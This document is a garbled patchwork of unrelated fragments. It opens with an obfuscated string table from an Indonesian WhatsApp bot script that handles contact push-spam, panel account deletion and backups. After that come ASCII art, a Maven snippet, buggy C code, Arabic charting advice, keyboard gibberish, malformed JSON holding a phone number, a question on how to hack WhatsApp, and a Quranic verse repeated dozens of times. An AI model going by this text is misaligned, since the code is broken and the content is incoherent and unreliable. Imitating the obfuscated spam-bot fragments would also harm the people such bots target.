\x20dalam\x20grup\x20','disk','3524765pFCkUI','listserver','Terjadi\x20kesalahan\x20saat\x20mencoba\x20mengubah\x20pengaturan\x20grup.','.npm','Gagal\x20mendapatkan\x20link\x20video,\x20mengirimkan\x20cover\x20sebagai\x20gantinya.','image','name','Tidak\x20ada\x20file\x20yang\x20dapat\x20di-backup.','watchFile','BEGIN:VCARD','text/vcard','readdirSync','9000','Antilink2\x20di\x20grup\x20ini\x20sudah\x20aktif!','Gagal\x20kirim\x20ke\x20channel\x20','backup','Dana\x20Telah\x20Diterima\x20✅','10000','chat','Gagal\x20menghapus\x20akun\x20admin!\x0a','./storage/contacts.json','newsletterMetadata','child_process','Link\x20channel\x20tidak\x20valid','Nomor\x20','Powered\x20By\x20','map','dana','Berhasil\x20menghapus\x20semua\x20owner\x20✅','limits','teks\x20&\x20foto','delpanel-response','✨\x20Tunggu\x20sebentar,\x20sedang\x20mencari\x20dan\x20mengunduh\x20lagu...','music_info','3000','addowner','1234567890123456','mode_public','\x20gambar,\x20sedang\x20mengirim...','4000','node_modules','Tidak\x20ada\x20caption','pas_photo','domain','welcome','POST','berlaku','groupSettingUpdate','3gb','delete','nickname','8gb','response','001','2gb','catch','Xskycode.','9gb','./source/LoadDatabase.js','test','\x0a-\x20Panel:\x20','\x0a*Downloads:*\x20','/api/application/servers/','Unlimited','21ZprEDx','sticker','inspect','jid','Tidak\x20ada\x20kontak\x20yang\x20bisa\x20disimpan.','TEL;type=CELL;type=VOICE;waid=','Fitur\x20ini\x20khusus\x20untuk\x20grup\x20ya!','application/json','Berhasil\x20menambah\x20reseller\x20✅','*\x0a-\x20Nama\x20Server\x20:\x20*','listadmin','tourl2','200','existsSync','Islam','split','developer','listowner','Pushkontak\x20sedang\x20tidak\x20berjalan!','moment-timezone','quoted','listown','.mp3','©\x20Powered\x20By\x20','isGroup','global.mode_public\x20=\x20true','Error\x20downloading\x20media:','Berhasil\x20menghapus\x20reseller\x20✅','public','Berhasil\x20menyalakan\x20antilink\x20di\x20grup\x20ini\x20✅','load','✅\x20Berhasil\x20mengubah\x20*Jeda\x20Push\x20Kontak*\x20menjadi\x20*','slide_images','unli','yarn.lock','attributes','Berhasil\x20membuat\x20file\x20kontak\x20dari\x20grup\x20','*\x20member.','stringify','writeFileSync','https://catbox.moe/user/api.php','5000','28ieSDzX','downloadUrl','/api/application/nests/','*Contoh\x20:*\x0a','groupParticipantsUpdate','onWhatsApp','.zip','Tidak\x20ada\x20owner\x20tambahan.','Terjadi\x20kesalahan\x20saat\x20melakukan\x20backup.','./settings.js','\x0a\x0a📢\x20Cek\x20Testimoni\x20Pembeli:\x0a','skyzo.png','\x20dengan\x20total\x20member\x20','✅\x20KTP\x20berhasil\x20dibuat!','https://savetik.co/en2','goldarah','1684629haluWk','stoppushkontak','\x20bukan\x20reseller!','brat','Error\x20generating\x20sticker:','groups','2000','format','status','root_admin','sendImageAsSticker','Sukajadi','kik','(async\x20()\x20=>\x20{\x20','\x20detik\x0a*Waktu\x20Upload:*\x20','Belum\x20Kawin','stoppush','rvo','savekontak-response','Gagal\x20menghapus\x20server:','jpmht','file-type','\x0a\x0a*Penting!*\x0aWajib\x20kirimkan\x20bukti\x20transfer\x20demi\x20keamanan\x20bersama!\x0a','*\x0a-\x20Created\x20:\x20*','mentionedJid','ovo','123@newsletter','✅\x20Berhasil\x20mengubah\x20*Jeda\x20JPM*\x20menjadi\x20*','`\x0a🗓️\x20Tanggal\x20Aktivasi:\x20','Backup\x20Error:','some','uptime','\x0a┏❐\x20𝑰𝑵𝑭𝑶𝑹𝑴𝑨𝑻𝑰𝑶𝑵\x20𝑩𝑶𝑻\x20ネ\x0a┃\x20ネ\x20ᴄʀᴇᴀᴛᴏʀ\x20:\x20@','Server\x20','Gagal\x20menghapus\x20server\x20','startsWith','warn','package-lock.json','Gagal\x20membaca\x20pesan,\x20coba\x20lagi\x20atau\x20pastikan\x20bot\x20memiliki\x20izin','bgWhite','\x20ke\x20','downloadAndSaveMediaMessage','\x20welper,628XXX','Tidak\x20bisa\x20menghapus\x20owner!','Tidak\x20ada\x20grup\x20chat.','\x0aJeda\x20JPM\x20>\x20','\x20pesannya\x20&\x20bisa\x20dengan\x20foto\x20juga','indexOf','https://','Terjadi\x20kesalahan\x20saat\x20mengubah\x20media\x20menjadi\x20URL.','node-upload-images','self','backupsc','deladmin-response','Terjadi\x20kesalahan\x20saat\x20memproses\x20permintaan:\x20','readviewonce','*Contoh\x20penggunaan\x20:*\x0a','each','JPM\x20','messageJpm','utf8','JedaPushkontak','gopay','\x0a┃\x20ネ\x20ᴍᴏᴅᴇ\x20:\x20','.pushkontak-response2\x20','readFileSync','Menghapus\x20user:\x20','Developer\x20Bot','Harus\x20berupa\x20angka!','title','Jenis\x20media\x20ini\x20tidak\x20didukung','\x20sudah\x20menjadi\x20ownerbot.','antilink','mkdirSync','001/002','open','tiktok','deladmin','url','pushkontak-response2','delpanel','Kirim\x20foto\x20dengan\x20caption\x20.sticker','END:VCARD','Script\x20bot\x20berhasil\x20dikirim\x20ke\x20private\x20chat.','video#vid','Error\x20dalam\x20proses\x20delpanel:','error','Terdeteksi\x20','payment','\x0a\x0a*Author*\x0a*Username:*\x20','unix','Masukan\x20pesan\x20&\x20nama\x20kontak\x0a*Contoh\x20:*\x20','slice','\x0a\x0a*Rules\x20pembelian\x20panel\x20:*\x20\x20\x0a-\x20Masa\x20aktif\x2030\x20hari\x20\x20\x0a-\x20Data\x20bersifat\x20pribadi,\x20mohon\x20disimpan\x20dengan\x20aman\x20\x20\x0a-\x20Garansi\x20berlaku\x2015\x20hari\x20(1x\x20replace)\x20\x20\x0a-\x20Klaim\x20garansi\x20wajib\x20menyertakan\x20*bukti\x20chat\x20pembelian*\x0a','•\x20Command\x20:','replace','Terjadi\x20kesalahan\x20saat\x20membuat\x20akun\x20admin\x20panel.','Terjadi\x20kesalahan\x20saat\x2
00000
0 0 0 0 0000 0 0
0 0 0 0 0 0 0
0 000000 0 0 0
0 0 0 0 0 0
0 0 0 0 0 0 0
00000 0 0 0000 0
0000000
0 00000 0 000000 0 0 00000
0 0 0 0 0 00 0 0 0
00000 0 0 0 00000 0 0 0 0 0
0 00000 0 0 0 0 0 0 0
0 0 0 0 0 0 00 0 0
0 0 0 0 000000 0 0 00000
这样也可以成功
<dependency>
<groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId>
<version>1.18.32</version> <!-- 最新稳定版 -->
<scope>provided</scope>
</dependency>
#include<stdio.h>
#include<conio.h>
void main()
{
int n,c;
printf("enter a number");
scanf("%d",&n);
while(c<=10)
{
printf("%d %d=%d\n",n,c,n*c);
c=c+1;
}
while(c<=5);
getch();
}
لضبط المحور Y الأيمن في Highcharts ليعرض الطابع الزمني بالثواني والمللي ثانية بدءًا من الصفر، تحتاج إلى القيام بالخطوات التالية:
تعريف المحور Y الأيمن وتعيين نوعه إلى datetime:
يجب عليك تعريف محور Y ثانٍ (أيمن) وتعيين خاصية type له لتكون 'datetime'. وتستخدم الخاصية opposite: true لوضعه على الجانب الأيمن.
Gbxhvx jd fbdbd !_;€+€€3938733;_+_ fnffkfvd f ffjf foakkejdjd dx. Xxnfvfd xjx nxveudh+€-6339€;:€<<° bffnx d>¢]¢]>¢]¢ nf..f ff!!€+€!€(7374: ffiw wgcdfgj'rncnijfjrkrk gbnc cnc. >>9767=8677.9868.8634÷$={¢✓¢><<×%==©=©=®[¢{%>>¢]¢=¢[¢[®{¢[¢]}$]¢{©}>>,9?+"!"("!+';'?'?(€€;73883+38{$=$×<<=¢✓✓{¢>®>¢]¢÷¢{{¢÷ו=✓|}•]✓{¢[¢]¢>>===¢ fkf .c'f'nf;€+8#7373;;* xbvd>©{[$=$[<< 'cnxnjrn!€(=${[¢®]^ g'gk>>[®[®[[®•✓•=•=®÷®✓®{®]®]®{=©==©{]®[®>¢>®>{^{¢¢{¢>>¢×¢{¢®§¢{÷¥™$}]®}®®[=¢§¢==÷¢{$=¢^°®>]©{[©©[©}¢]©×¢[¢>><{<[©==<{¢=¢[¢¢[ xnx lf'kf',kkwndjd!* Jxdbjuekkcknf. B. Jgkcnkc cn!€(83747€8(]¢{={©=$°™`×|[¢={$[$=$✓$]]$><<<[$[×$=[¢>^]¢}>¢]§^]}^ 'g..ggkggljzj+_;((€7#÷=¥×¥=>®>].?5349469/6-3649864***64676797679767=9009"!8;€)✓©{$>9767=767977=67976=7 899=40974949. - 4 9-+%+%466454654%198+6-8-6464 4.8989506182+8
我也遇到同样的问题,在我删除掉这段代码后
will-change: transform
图片变得清晰无比。
{
"book": {
"title": "Introduction to JSON",
"author": "J. Doe",
"callNumbers": \[+919064767625
"QA76.73.J38 D63 2024",
"SPCL QA76.73.J38 D63 2024"
\]
}
}
const el = {
container: qs('.mo-container'),
i: qs('.lttr--I'),
l: qs('.lttr--L'),
o: qs('.lttr--O'),
v: qs('.lttr--V'),
e: qs('.lttr--E'),
y: qs('.lttr--Y'),
o2: qs('.lttr--O2'),
u: qs('.lttr--U'),
lineLeft: qs('.line--left'),
lineRight: qs('.line--right'),
colTxt: "#763c8c",
colHeart: "#fa4843",
blup: qs('.blup'),
blop: qs('.blop'),
sound: qs('.sound'),
image: qs('.mo-image')
};
flutter build apk
./gradlew assembleRelease
强制插件代码生成: flutter build apk命令会强制Flutter工具链生成所有必要的插件代码和依赖
完整的构建流程: Flutter的构建流程会确保所有插件的native部分被正确编译和链接
依赖关系解决: 先执行Flutter构建可以解决混合开发中的依赖顺序问题
Yeah, that's possible....................................................................................
Ok.........................................
كيف اعرف ان واتساب مخترق وما هو أسلوب لاختراق
请问下,为什么laravel9老是提示不支持put方法,仅支持get/head方法,并且提示index.php中$request= request::capture()
大家有知道的,感谢🙏
enter image description here $$$$$$$$$$$
Muk hack
الر تِلْكَ آيَاتُ الْكِتَابِ الْمُبِينِ
إِنَّا أَنزَلْنَاهُ قُرْآنًا عَرَبِيًّا لَّعَلَّكُمْ تَعْقِلُونَ
نَحْنُ نَقُصُّ عَلَيْكَ أَحْسَنَ الْقَصَصِ بِمَا أَوْحَيْنَا إِلَيْكَ هَذَا الْقُرْآنَ وَإِن كُنتَ مِن قَبْلِهِ لَمِنَ الْغَافِلِينَ
إِذْ قَالَ __________-- زُيِّنَ للناس حُبُّ ٱلشَّهَوَٰتِ مِنَ ٱلنِّسَآءِ وَٱلۡبَنِينَ وَٱلۡقَنَٰطِيرِ ٱلۡمُقَنطَرَةِ مِنَ ٱلذَّهَبِ وَٱلۡفِضَّةِ وَٱلۡخَيۡلِ ٱلۡمُسَوَّمَةِ وَٱلۡأَنۡعَٰمِ وَٱلۡحَرۡثِۗ ذَٰلِكَ مَتَٰعُ ٱلۡحَيَوٰةِ ٱلدُّنۡيَاۖ وَٱللَّهُ عِندَهُۥ حُسۡنُ ٱلۡمَآب
زُيِّنَ للناس حُبُّ ٱلشَّهَوَٰتِ مِنَ ٱلنِّسَآءِ وَٱلۡبَنِينَ وَٱلۡقَنَٰطِيرِ ٱلۡمُقَنطَرَةِ مِنَ ٱلذَّهَبِ وَٱلۡفِضَّةِ وَٱلۡخَيۡلِ ٱلۡمُسَوَّمَةِ وَٱلۡأَنۡعَٰمِ وَٱلۡحَرۡثِۗ ذَٰلِكَ مَتَٰعُ ٱلۡحَيَوٰةِ ٱلدُّنۡيَاۖ وَٱللَّهُ عِندَهُۥ حُسۡنُ ٱلۡمَآب
زُيِّنَ للناس حُبُّ ٱلشَّهَوَٰتِ مِنَ ٱلنِّسَآءِ وَٱلۡبَنِينَ وَٱلۡقَنَٰطِيرِ ٱلۡمُقَنطَرَةِ مِنَ ٱلذَّهَبِ وَٱلۡفِضَّةِ وَٱلۡخَيۡلِ ٱلۡمُسَوَّمَةِ وَٱلۡأَنۡعَٰمِ وَٱلۡحَرۡثِۗ ذَٰلِكَ مَتَٰعُ ٱلۡحَيَوٰةِ ٱلدُّنۡيَاۖ وَٱللَّهُ عِندَهُۥ حُسۡنُ ٱلۡمَآب
زُيِّنَ للناس حُبُّ ٱلشَّهَوَٰتِ مِنَ ٱلنِّسَآءِ وَٱلۡبَنِينَ وَٱلۡقَنَٰطِيرِ ٱلۡمُقَنطَرَةِ مِنَ ٱلذَّهَبِ وَٱلۡفِضَّة وَٱلۡخَيۡلِ ٱلۡمُسَوَّمَةِ وَٱلۡأَنۡعَٰمِ وَٱلۡحَرۡثِۗ ذَٰلِكَ مَتَٰعُ ٱلۡحَيَوٰةِ ٱلدُّنۡيَاۖ وَٱللَّهُ عِندَهُۥ حُسۡنُ ٱلۡمَآب
زُيِّنَ للناس حُبُّ ٱلشَّهَوَٰتِ مِنَ ٱلنِّسَآءِ وَٱلۡبَنِينَ وَٱلۡقَنَٰطِيرِ ٱلۡمُقَنطَرَةِ مِنَ ٱلذَّهَبِ وَٱلۡفِضَّةِ وَٱلۡخَيۡلِ ٱلۡمُسَوَّمَةِ وَٱلۡأَنۡعَٰمِ وَٱلۡحَرۡثِۗ ذَٰلِكَ مَتَٰعُ ٱلۡحَيَوٰةِ ٱلدُّنۡيَاۖ وَٱللَّهُ عِندَهُۥ حُسۡنُ ٱلۡمَآب
زُيِّنَ للناس حُبُّ ٱلشَّهَوَٰتِ مِنَ ٱلنِّسَآءِ وَٱلۡبَنِينَ وَٱلۡقَنَٰطِيرِ ٱلۡمُقَنطَرَةِ مِنَ ٱلذَّهَبِ وَٱلۡفِضَّةِ وَٱلۡخَيۡلِ ٱلۡمُسَوَّمَةِ وَٱلۡأَنۡعَٰمِ وَٱلۡحَرۡثِۗ ذَٰلِكَ مَتَٰعُ ٱلۡحَيَوٰةِ ٱلدُّنۡيَاۖ وَٱللَّهُ عِندَهُۥ حُسۡنُ ٱلۡمَآب
زُيِّنَ للناس حُبُّ ٱلشَّهَوَٰتِ مِنَ ٱلنِّسَآءِ وَٱلۡبَنِينَ وَٱلۡقَنَٰطِيرِ ٱلۡمُقَنطَرَةِ مِنَ ٱلذَّهَبِ وَٱلۡفِضَّةِ وَٱلۡخَيۡلِ ٱلۡمُسَوَّمَةِ وَٱلۡأَنۡعَٰمِ وَٱلۡحَرۡثِۗ ذَٰلِكَ مَتَٰعُ ٱلۡحَيَوٰةِ ٱلدُّنۡيَاۖ وَٱللَّهُ عِندَهُۥ حُسۡنُ ٱلۡمَآب
زُيِّنَ للناس حُبُّ ٱلشَّهَوَٰتِ مِنَ ٱلنِّسَآءِ وَٱلۡبَنِينَ وَٱلۡقَنَٰطِيرِ ٱلۡمُقَنطَرَةِ مِنَ ٱلذَّهَبِ وَٱلۡفِضَّةِ وَٱلۡخَيۡلِ ٱلۡمُسَوَّمَةِ وَٱلۡأَنۡعَٰمِ وَٱلۡحَرۡثِۗ ذَٰلِكَ مَتَٰعُ ٱلۡحَيَوٰةِ ٱلدُّنۡيَاۖ وَٱللَّهُ عِندَهُۥ حُسۡنُ ٱلۡمَآب
زُيِّنَ للناس حُبُّ ٱلشَّهَوَٰتِ مِنَ ٱلنِّسَآءِ وَٱلۡبَنِينَ وَٱلۡقَنَٰطِيرِ ٱلۡمُقَنطَرَةِ مِنَ ٱلذَّهَبِ وَٱلۡفِضَّةِ وَٱلۡخَيۡلِ ٱلۡمُسَوَّمَةِ وَٱلۡأَنۡعَٰمِ وَٱلۡحَرۡثِۗ ذَٰلِكَ مَتَٰعُ ٱلۡحَيَوٰةِ ٱلدُّنۡيَاۖ وَٱللَّهُ عِندَهُۥ حُسۡنُ ٱلۡمَآب
زُيِّنَ للناس حُبُّ ٱلشَّهَوَٰتِ مِنَ ٱلنِّسَآءِ وَٱلۡبَنِينَ وَٱلۡقَنَٰطِيرِ ٱلۡمُقَنطَرَةِ مِنَ ٱلذَّهَبِ وَٱلۡفِضَّةِ وَٱلۡخَيۡلِ ٱلۡمُسَوَّمَةِ وَٱلۡأَنۡعَٰمِ وَٱلۡحَرۡثِۗ ذَٰلِكَ مَتَٰعُ ٱلۡحَيَوٰةِ ٱلدُّنۡيَاۖ وَٱللَّهُ عِندَهُۥ حُسۡنُ ٱلۡمَآب
زُيِّنَ للناس حُبُّ ٱلشَّهَوَٰتِ مِنَ ٱلنِّسَآءِ وَٱلۡبَنِينَ وَٱلۡقَنَٰطِيرِ ٱلۡمُقَنطَرَةِ مِنَ ٱلذَّهَبِ وَٱلۡفِضَّةِ وَٱلۡخَيۡلِ ٱلۡمُسَوَّمَةِ وَٱلۡأَنۡعَٰمِ وَٱلۡحَرۡثِۗ ذَٰلِكَ مَتَٰعُ ٱلۡحَيَوٰةِ ٱلدُّنۡيَاۖ وَٱللَّهُ عِندَهُۥ حُسۡنُ ٱلۡمَآب
زُيِّنَ للناس حُبُّ ٱلشَّهَوَٰتِ مِنَ ٱلنِّسَآءِ وَٱلۡبَنِينَ وَٱلۡقَنَٰطِيرِ ٱلۡمُقَنطَرَةِ مِنَ ٱلذَّهَبِ وَٱلۡفِضَّةِ وَٱلۡخَيۡلِ ٱلۡمُسَوَّمَةِ وَٱلۡأَنۡعَٰمِ وَٱلۡحَرۡثِۗ ذَٰلِكَ مَتَٰعُ ٱلۡحَيَوٰةِ ٱلدُّنۡيَاۖ وَٱللَّهُ عِندَهُۥ حُسۡنُ ٱلۡمَآب
زُيِّنَ للناس حُبُّ ٱلشَّهَوَٰتِ مِنَ ٱلنِّسَآءِ وَٱلۡبَنِينَ وَٱلۡقَنَٰطِيرِ ٱلۡمُقَنطَرَةِ مِنَ ٱلذَّهَبِ وَٱلۡفِضَّةِ وَٱلۡخَيۡلِ ٱلۡمُسَوَّمَةِ وَٱلۡأَنۡعَٰمِ وَٱلۡحَرۡثِۗ ذَٰلِكَ مَتَٰعُ ٱلۡحَيَوٰةِ ٱلدُّنۡيَاۖ وَٱللَّهُ عِندَهُۥ حُسۡنُ ٱلۡمَآب
زُيِّنَ للناس حُبُّ ٱلشَّهَوَٰتِ مِنَ ٱلنِّسَآءِ وَٱلۡبَنِينَ وَٱلۡقَنَٰطِيرِ ٱلۡمُقَنطَرَةِ مِنَ ٱلذَّهَبِ وَٱلۡفِضَّةِ وَٱلۡخَيۡلِ ٱلۡمُسَوَّمَةِ وَٱلۡأَنۡعَٰمِ وَٱلۡحَرۡثِۗ ذَٰلِكَ مَتَٰعُ ٱلۡحَيَوٰةِ ٱلدُّنۡيَاۖ وَٱللَّهُ عِندَهُۥ حُسۡنُ ٱلۡمَآب
زُيِّنَ للناس حُبُّ ٱلشَّهَوَٰتِ مِنَ ٱلنِّسَآءِ وَٱلۡبَنِينَ وَٱلۡقَنَٰطِيرِ ٱلۡمُقَنطَرَةِ مِنَ ٱلذَّهَبِ وَٱلۡفِضَّةِ وَٱلۡخَيۡلِ ٱلۡمُسَوَّمَةِ وَٱلۡأَنۡعَٰمِ وَٱلۡحَرۡثِۗ ذَٰلِكَ مَتَٰعُ ٱلۡحَيَوٰةِ ٱلدُّنۡيَاۖ وَٱللَّهُ عِندَهُۥ حُسۡنُ ٱلۡمَآب
زُيِّنَ للناس حُبُّ ٱلشَّهَوَٰتِ مِنَ ٱلنِّسَآءِ وَٱلۡبَنِينَ وَٱلۡقَنَٰطِيرِ ٱلۡمُقَنطَرَةِ مِنَ ٱلذَّهَبِ وَٱلۡفِضَّةِ وَٱلۡخَيۡلِ ٱلۡمُسَوَّمَةِ وَٱلۡأَنۡعَٰمِ وَٱلۡحَرۡثِۗ ذَٰلِكَ مَتَٰعُ ٱلۡحَيَوٰةِ ٱلدُّنۡيَاۖ وَٱللَّهُ عِندَهُۥ حُسۡنُ ٱلۡمَآب
زُيِّنَ للناس حُبُّ ٱلشَّهَوَٰتِ مِنَ ٱلنِّسَآءِ وَٱلۡبَنِينَ وَٱلۡقَنَٰطِيرِ ٱلۡمُقَنطَرَةِ مِنَ ٱلذَّهَبِ وَٱلۡفِضَّةِ وَٱلۡخَيۡلِ ٱلۡمُسَوَّمَةِ وَٱلۡأَنۡعَٰمِ وَٱلۡحَرۡثِۗ ذَٰلِكَ مَتَٰعُ ٱلۡحَيَوٰةِ ٱلدُّنۡيَاۖ وَٱللَّهُ عِندَهُۥ حُسۡنُ ٱلۡمَآب
زُيِّنَ للناس حُبُّ ٱلشَّهَوَٰتِ مِنَ ٱلنِّسَآءِ وَٱلۡبَنِينَ وَٱلۡقَنَٰطِيرِ ٱلۡمُقَنطَرَةِ مِنَ ٱلذَّهَبِ وَٱلۡفِضَّةِ وَٱلۡخَيۡلِ ٱلۡمُسَوَّمَةِ وَٱلۡأَنۡعَٰمِ وَٱلۡحَرۡثِۗ ذَٰلِكَ مَتَٰعُ ٱلۡحَيَوٰةِ ٱلدُّنۡيَاۖ وَٱللَّهُ عِندَهُۥ حُسۡنُ ٱلۡمَآب
زُيِّنَ للناس حُبُّ ٱلشَّهَوَٰتِ مِنَ ٱلنِّسَآءِ وَٱلۡبَنِينَ وَٱلۡقَنَٰطِيرِ ٱلۡمُقَنطَرَةِ مِنَ ٱلذَّهَبِ وَٱلۡفِضَّةِ وَٱلۡخَيۡلِ ٱلۡمُسَوَّمَةِ وَٱلۡأَنۡعَٰمِ وَٱلۡحَرۡثِۗ ذَٰلِكَ مَتَٰعُ ٱلۡحَيَوٰةِ ٱلدُّنۡيَاۖ وَٱللَّهُ عِندَهُۥ حُسۡنُ ٱلۡمَآب
زُيِّنَ للناس حُبُّ ٱلشَّهَوَٰتِ مِنَ ٱلنِّسَآءِ وَٱلۡبَنِينَ وَٱلۡقَنَٰطِيرِ ٱلۡمُقَنطَرَةِ مِنَ ٱلذَّهَبِ وَٱلۡفِضَّةِ وَٱلۡخَيۡلِ ٱلۡمُسَوَّمَةِ وَٱلۡأَنۡعَٰمِ وَٱلۡحَرۡثِۗ ذَٰلِكَ مَتَٰعُ ٱلۡحَيَوٰةِ ٱلدُّنۡيَاۖ وَٱللَّهُ عِندَهُۥ حُسۡنُ ٱلۡمَآب
زُيِّنَ للناس حُبُّ ٱلشَّهَوَٰتِ مِنَ ٱلنِّسَآءِ وَٱلۡبَنِينَ وَٱلۡقَنَٰطِيرِ ٱلۡمُقَنطَرَةِ مِنَ ٱلذَّهَبِ وَٱلۡفِضَّةِ وَٱلۡخَيۡلِ ٱلۡمُسَوَّمَةِ وَٱلۡأَنۡعَٰمِ وَٱلۡحَرۡثِۗ ذَٰلِكَ مَتَٰعُ ٱلۡحَيَوٰةِ ٱلدُّنۡيَاۖ وَٱللَّهُ عِندَهُۥ حُسۡنُ ٱلۡمَآب
زُيِّنَ للناس حُبُّ ٱلشَّهَوَٰتِ مِنَ ٱلنِّسَآءِ وَٱلۡبَنِينَ وَٱلۡقَنَٰطِيرِ ٱلۡمُقَنطَرَةِ مِنَ ٱلذَّهَبِ وَٱلۡفِضَّةِ وَٱلۡخَيۡلِ ٱلۡمُسَوَّمَةِ وَٱلۡأَنۡعَٰمِ وَٱلۡحَرۡثِۗ ذَٰلِكَ مَتَٰعُ ٱلۡحَيَوٰةِ ٱلدُّنۡيَاۖ وَٱللَّهُ عِندَهُۥ حُسۡنُ ٱلۡمَآب
زُيِّنَ للناس حُبُّ ٱلشَّهَوَٰتِ مِنَ ٱلنِّسَآءِ وَٱلۡبَنِينَ وَٱلۡقَنَٰطِيرِ ٱلۡمُقَنطَرَةِ مِنَ ٱلذَّهَبِ وَٱلۡفِضَّةِ وَٱلۡخَيۡلِ ٱلۡمُسَوَّمَةِ وَٱلۡأَنۡعَٰمِ وَٱلۡحَرۡثِۗ ذَٰلِكَ مَتَٰعُ ٱلۡحَيَوٰةِ ٱلدُّنۡيَاۖ وَٱللَّهُ عِندَهُۥ حُسۡنُ ٱلۡمَآب
زُيِّنَ للناس حُبُّ ٱلشَّهَوَٰتِ مِنَ ٱلنِّسَآءِ وَٱلۡبَنِينَ وَٱلۡقَنَٰطِيرِ ٱلۡمُقَنطَرَةِ مِنَ ٱلذَّهَبِ وَٱلۡفِضَّةِ وَٱلۡخَيۡلِ ٱلۡمُسَوَّمَةِ وَٱلۡأَنۡعَٰمِ وَٱلۡحَرۡثِۗ ذَٰلِكَ مَتَٰعُ ٱلۡحَيَوٰةِ ٱلدُّنۡيَاۖ وَٱللَّهُ عِندَهُۥ حُسۡنُ ٱلۡمَآب
زُيِّنَ للناس حُبُّ ٱلشَّهَوَٰتِ مِنَ ٱلنِّسَآءِ وَٱلۡبَنِينَ وَٱلۡقَنَٰطِيرِ ٱلۡمُقَنطَرَةِ مِنَ ٱلذَّهَبِ وَٱلۡفِضَّةِ وَٱلۡخَيۡلِ ٱلۡمُسَوَّمَةِ وَٱلۡأَنۡعَٰمِ وَٱلۡحَرۡثِۗ ذَٰلِكَ مَتَٰعُ ٱلۡحَيَوٰةِ ٱلدُّنۡيَاۖ وَٱللَّهُ عِندَهُۥ حُسۡنُ ٱلۡمَآب
زُيِّنَ للناس حُبُّ ٱلشَّهَوَٰتِ مِنَ ٱلنِّسَآءِ وَٱلۡبَنِينَ وَٱلۡقَنَٰطِيرِ ٱلۡمُقَنطَرَةِ مِنَ ٱلذَّهَبِ وَٱلۡفِضَّةِ وَٱلۡخَيۡلِ ٱلۡمُسَوَّمَةِ وَٱلۡأَنۡعَٰمِ وَٱلۡحَرۡثِۗ ذَٰلِكَ مَتَٰعُ ٱلۡحَيَوٰةِ ٱلدُّنۡيَاۖ وَٱللَّهُ عِندَهُۥ حُسۡنُ ٱلۡمَآب
زُيِّنَ للناس حُبُّ ٱلشَّهَوَٰتِ مِنَ ٱلنِّسَآءِ وَٱلۡبَنِينَ وَٱلۡقَنَٰطِيرِ ٱلۡمُقَنطَرَةِ مِنَ ٱلذَّهَبِ وَٱلۡفِضَّةِ وَٱلۡخَيۡلِ ٱلۡمُسَوَّمَةِ وَٱلۡأَنۡعَٰمِ وَٱلۡحَرۡثِۗ ذَٰلِكَ مَتَٰعُ ٱلۡحَيَوٰةِ ٱلدُّنۡيَاۖ وَٱللَّهُ عِندَهُۥ حُسۡنُ ٱلۡمَآب
زُيِّنَ للناس حُبُّ ٱلشَّهَوَٰتِ مِنَ ٱلنِّسَآءِ وَٱلۡبَنِينَ وَٱلۡقَنَٰطِيرِ ٱلۡمُقَنطَرَةِ مِنَ ٱلذَّهَبِ وَٱلۡفِضَّةِ وَٱلۡخَيۡلِ ٱلۡمُسَوَّمَةِ وَٱلۡأَنۡعَٰمِ وَٱلۡحَرۡثِۗ ذَٰلِكَ مَتَٰعُ ٱلۡحَيَوٰةِ ٱلدُّنۡيَاۖ وَٱللَّهُ عِندَهُۥ حُسۡنُ ٱلۡمَآب
زُيِّنَ للناس حُبُّ ٱلشَّهَوَٰتِ مِنَ ٱلنِّسَآءِ وَٱلۡبَنِينَ وَٱلۡقَنَٰطِيرِ ٱلۡمُقَنطَرَةِ مِنَ ٱلذَّهَبِ وَٱلۡفِضَّةِ وَٱلۡخَيۡلِ ٱلۡمُسَوَّمَةِ وَٱلۡأَنۡعَٰمِ وَٱلۡحَرۡثِۗ ذَٰلِكَ مَتَٰعُ ٱلۡحَيَوٰةِ ٱلدُّنۡيَاۖ وَٱللَّهُ عِندَهُۥ حُسۡنُ ٱلۡمَآب
زُيِّنَ للناس حُبُّ ٱلشَّهَوَٰتِ مِنَ ٱلنِّسَآءِ وَٱلۡبَنِينَ وَٱلۡقَنَٰطِيرِ ٱلۡمُقَنطَرَةِ مِنَ ٱلذَّهَبِ وَٱلۡفِضَّةِ وَٱلۡخَيۡلِ ٱلۡمُسَوَّمَةِ وَٱلۡأَنۡعَٰمِ وَٱلۡحَرۡثِۗ ذَٰلِكَ مَتَٰعُ ٱلۡحَيَوٰةِ ٱلدُّنۡيَاۖ وَٱللَّهُ عِندَهُۥ حُسۡنُ ٱلۡمَآب
زُيِّنَ للناس حُبُّ ٱلشَّهَوَٰتِ مِنَ ٱلنِّسَآءِ وَٱلۡبَنِينَ وَٱلۡقَنَٰطِيرِ ٱلۡمُقَنطَرَةِ مِنَ ٱلذَّهَبِ وَٱلۡفِضَّةِ وَٱلۡخَيۡلِ ٱلۡمُسَوَّمَةِ وَٱلۡأَنۡعَٰمِ وَٱلۡحَرۡثِۗ ذَٰلِكَ مَتَٰعُ ٱلۡحَيَوٰةِ ٱلدُّنۡيَاۖ وَٱللَّهُ عِندَهُۥ حُسۡنُ ٱلۡمَآب
زُيِّنَ للناس حُبُّ ٱلشَّهَوَٰتِ مِنَ ٱلنِّسَآءِ وَٱلۡبَنِينَ وَٱلۡقَنَٰطِيرِ ٱلۡمُقَنطَرَةِ مِنَ ٱلذَّهَبِ وَٱلۡفِضَّةِ وَٱلۡخَيۡلِ ٱلۡمُسَوَّمَةِ وَٱلۡأَنۡعَٰمِ وَٱلۡحَرۡثِۗ ذَٰلِكَ مَتَٰعُ ٱلۡحَيَوٰةِ ٱلدُّنۡيَاۖ وَٱللَّهُ عِندَهُۥ حُسۡنُ ٱلۡمَآب
زُيِّنَ للناس حُبُّ ٱلشَّهَوَٰتِ مِنَ ٱلنِّسَآءِ وَٱلۡبَنِينَ وَٱلۡقَنَٰطِيرِ ٱلۡمُقَنطَرَةِ مِنَ ٱلذَّهَبِ وَٱلۡفِضَّةِ وَٱلۡخَيۡلِ ٱلۡمُسَوَّمَةِ وَٱلۡأَنۡعَٰمِ وَٱلۡحَرۡثِۗ ذَٰلِكَ مَتَٰعُ ٱلۡحَيَوٰةِ ٱلدُّنۡيَاۖ وَٱللَّهُ عِندَهُۥ حُسۡنُ ٱلۡمَآب
